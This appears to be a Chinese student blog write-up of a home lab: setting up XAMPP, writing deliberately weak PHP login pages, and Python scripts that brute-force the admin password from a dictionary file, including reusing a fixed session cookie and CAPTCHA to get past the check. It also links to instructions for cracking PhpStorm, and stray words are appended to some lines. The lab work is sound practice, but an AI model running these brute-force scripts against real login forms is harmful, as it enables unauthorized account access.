XAMPP是最流行的PHP開發環境。 XAMPP是徹底免費且易於安裝的Apache發行版,其中包含Apache、MariaDB、PHP和Perl。php
相似XAMPP的服務器套件還有不少,我用過的還有UPUPW,它們都極大的簡化了開發環境的配置。html
十六款免費的服務器套件的介紹介紹了主流的免費服務器開發套件。python
xampp下載地址:http://www.xampp.cc/mysql
安裝沒什麼好說的,「下一步」直到安裝完成。web
雙擊xampp安裝目錄下的xampp-control.exe,打開xampp控制面板。
點擊Apache的「Start」按鈕,啓動Apache服務。 Apache服務的端口默認是80和443,若是電腦上裝有虛擬機,443端口會被虛擬機佔用,致使Apache服務啓動失敗。這種狀況的修改方法以下:
① 打開任務管理器,找到找到vmware-hostd.exe進程,結束它。
② 打開VMware虛擬機,選擇菜單「編輯」——>"首選項",以下圖所示。
至於如何查看哪一個程序佔用了哪一個端口,能夠點xampp控制面板右側的「Netstat」按鈕,也能夠在命令提示符窗口輸入netstat -ano指令來查看這幾個端口是否被佔用。若佔用,記住PID,而後在任務管理器裏對於相應的PID,結束便可。若是任務管理器的列表中沒有PID這一列,點擊任務管理器的菜單「查看」——>「選擇列」,勾選PID便可。
比較通用的修改方法以下: (這種方法直接改xampp的配置文件。)
①若是80端口被佔用
將xampp\apache\conf這個目錄下的httpd.conf 文件中 全部80換成其餘值。
將xampp\apache\conf\extra這個目錄下的 httpd-vhosts.conf 全部80換成其餘值。
②若是是443端口被佔用
將XAMPP\apache\conf\extra這個目錄下的httpd-ssl.conf 全部443換成其餘值。
點擊MySQL的「Start」按鈕,啓動MySQL服務。 (若是電腦上以前安裝過MySQL,xampp的MySQL服務啓動失敗) 正確的修改方法是: ①在命令提示符窗口輸入regedit指令,打開註冊表編輯器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,將ImagePath的數據修改爲xampp中mysq的位置,再次點擊MySQL的 「Start」按鈕,mysql服務正常啓動。
若是MySQL的默認端口3306被佔用,修改方法以下:
①修改佔用該端口的外部程序,修改方法前面說過。 或者
②點擊MySQL的 「Config」按鈕,選擇「my.ini」,打開該配置文件,並將其中的3306改爲其餘值。
sql
測試
在瀏覽器輸入http://localhost/dashboard/,出現以下頁面,測試成功。
apache
** 若是發現網頁找不到,那就把以前改的端口(好比我改的是8001)放在localhost後面,即:localhost:8001**windows
除此以外咱們還要搭建PHPSTORM環境!!! 根據這個老哥的博客來完成環境的搭建瀏覽器
[安裝XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安裝並破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)安全
源碼的部分是一個表單post給一個php頁面,形象一點也就是說在html頁面填好帳號密碼,而後數據就會傳給php來處理。
Html部分以下: (原參考博客該部分有誤,已做出修改)
<!DOCTYPEhtml> <html> <head> <meta charset="utf-8"> <title>暴力破解測試頁面</title> </head> <body> <div align="center"> <h1>暴力破解測試頁面-low</h1></div> <form action="Loginl.php" method="post" name="form"> <fieldset> <legend><b>請輸入信息</b></legend> <p>用戶名:<input type="text" name="name" id="name"></p> <p>密碼:<input type="password" name="password" id="password"></p> <p><input type="submit" value="登陸"></p> </fieldset> </form> </body> </html>
php部分以下
<!DOCTYPEhtml> <html><head><meta charset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午3:20 */ session_start(); $pwd=$_POST["password"]; $name=$_POST["name"]; if($name=="") {die("用戶名不能爲空");} if($pwd=="") {die("密碼不能爲空");} if($name=="admin"&&$pwd=="1234") {echo"登錄成功!!!";setcookie("user","$name",time()+3600);} else{echo"登錄失敗";} ?> </head> </html>
只須要使用requests模塊來進行請求訪問,使用bs4來判斷登錄是否成功,附上代碼:
無驗證碼暴力破解的python腳本
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup def crack(username='admin', password='1234566'): # 定義一個暴力破解的函數 print('正在嘗試帳號:%s,密碼:%s' % (username, password)) # 回顯輸出 url = 'http://localhost:63342/untitled2/Loginl.html' # 定義須要暴破請求的地址 datas = {'name': 'admin', 'password': password} # 定義暴力破解的帳號和密碼 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } # 定義訪問數據包的請求頭,由於若是有防禦網站會限制ua req = requests.post(url, datas, headers=header, ) # 發送請求 # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") # 定義響應內容爲html res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') # 獲取響應信息 print res if '登錄成功' in res: # 判斷是否登錄成功 exit("密碼爲%s" % password) if __name__ == '__main__': for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): # 暴力破解的字典 crack(password=psw) pass
這一部分太簡單了,咱們很容易就實現破解。 因此很少描述。
咱們經過PGPstrom和PGPcharm實現了上一部分,而後在第二個部分的時候,咱們發現PHP頁面的url是會隨時根據驗證碼的變化而變化的,那爲了解決這個不穩定的問題,固然咱們也能夠選擇在本機系統下直接運行,這個時候就須要用到xampp了。
具體實現步驟以下:
咱們在xampp的安裝目錄下,新建一個文件夾把咱們實驗所需的文件放進去:
圖MyProject
確保Xampp的apache打開。
經過localhost:8001/LoginMid.html訪問咱們編寫好的頁面
你們能夠看到在此頁面中咱們加入了驗證碼。 稍後貼出相關代碼
咱們輸入相關信息,驗證一下代碼。發現經過xampp直接運行,咱們的url是能夠直接使用的
配置好了頁面,咱們要開始攻擊了。編寫好python腳本,同時注意:
爲了能在windows下直接使用python命令,咱們須要在系統的環境變量裏添加python路徑!把它變成咱們的一部分!
腳本編好了,軟件能夠幫咱們下載須要的插件,可是在windows環境下,咱們須要在cmd中手動下載,首先咱們進入到/Python27/Scripts/
中,在這個路徑下咱們可使用其中的pip進行咱們的下載:
PS:若是自帶的pip的版本太低須要更新,跟着命令行的提示一步步走就好了
在windows下使用python與在軟件內相同,因爲咱們的代碼使用了request模塊、bs4以及lxml,這都是咱們如今須要下載的。
pip install requests
pip install bs4
pip install (你所下載的lxml的保存路徑)/lxml-4.2.3-cp27-cp27m-win_amd64.whl
(PS:lxml本身在網上下載,要對應python版本,我下的是2.7的)
9.保證咱們代碼裏的信息與網頁信息同樣:
10.接下來咱們直接執行:python attack_3.py
<!DOCTYPEhtml><html><head><meta charset="utf-8"> <title>暴力破解測試頁面</title> </head> <body> <div align="center"><h1>暴力破解測試頁面-難度medium</h1></div> <form action="LoginMid.php" method="post"onsubmit="return judge();" name="form"> <fieldset> <legend><b>請輸入信息</b></legend> <p>用戶名:<input type="text" name="name" id="name"></p> <p>密碼:<input type="password" name="password"id="password"></p> <p>驗證碼:<input type="text" name="yzm" id="yzm"> <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p> <p><input type="submit" value="登陸"></p> </fieldset> </form> </body> </html>
<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:03 */ session_start(); $pwd=@$_POST["password"]; $name=@$_POST["name"]; $yzm=@$_POST["yzm"]; if($name=="") {die("user can't be NULL");} if($pwd=="") {die("password can't be NULL");} if($yzm=="") {die("yzm can't be NULL");} if($yzm!=$_SESSION['VCODE']){ die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");} if($name=="admin"&&$pwd=="1114") {echo"success!!!";setcookie("user","$name",time()+3600);} else {echo"failed"; } ?> </head></html>
<?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:04 */ session_start(); Header("Content-type:image/PNG"); //提示用戶生成PNG的圖片文件 $im= imagecreate(60,25); //建一個基於調色板的圖像 $back= imagecolorallocate($im, 245, 245, 245); //分配顏色 imagefill($im,0,0,$back); //圖像填充 $vcodes= ""; for($i=0;$i<4;$i++){ $font=imagecolorallocate($im,0,0,0); /*rand()隨機函數*/ $authnum=rand(0,9);//驗證碼的隨機數 $vcodes.=$authnum; imagestring($im,5,9+$i*10,5,$authnum,$font); } $_SESSION['VCODE']=$vcodes; imagepng($im); //把圖片輸出到瀏覽器文件 imagedestroy($im); //釋放圖片資源 ?>
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup RCode = '6989' def crack(username='admin', password='1234566'): print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode) # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'} url = 'http://localhost:8001/MyProjects/LoginMid.php' datas = {'name': 'admin', 'password': password, 'yzm': RCode} header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli', # 不帶cookie驗證碼會沒法使用 'Referer': 'http://localhost:8001/MyProjects/LoginMid.html', 'Upgrade-Insecure-Requests': '1' } req = requests.post(url, datas, headers=header, ) # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') print res if 'success!!!' in res: exit("pwd is %s" % password) if __name__ == '__main__': # crack() for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): crack(password=psw) pass
這其中要用到字典,我用的字典是本身生成的。路徑在python腳本中會用到哦!!!
網上的都要積分,窮苦人民還得本身動手。
此次實踐大大的加強了個人動手能力,不斷地百度,不斷地報錯,不斷地調試,終於仍是實現啦!
同時我發現:
.exe
文件支持的,使用時記得導入路徑!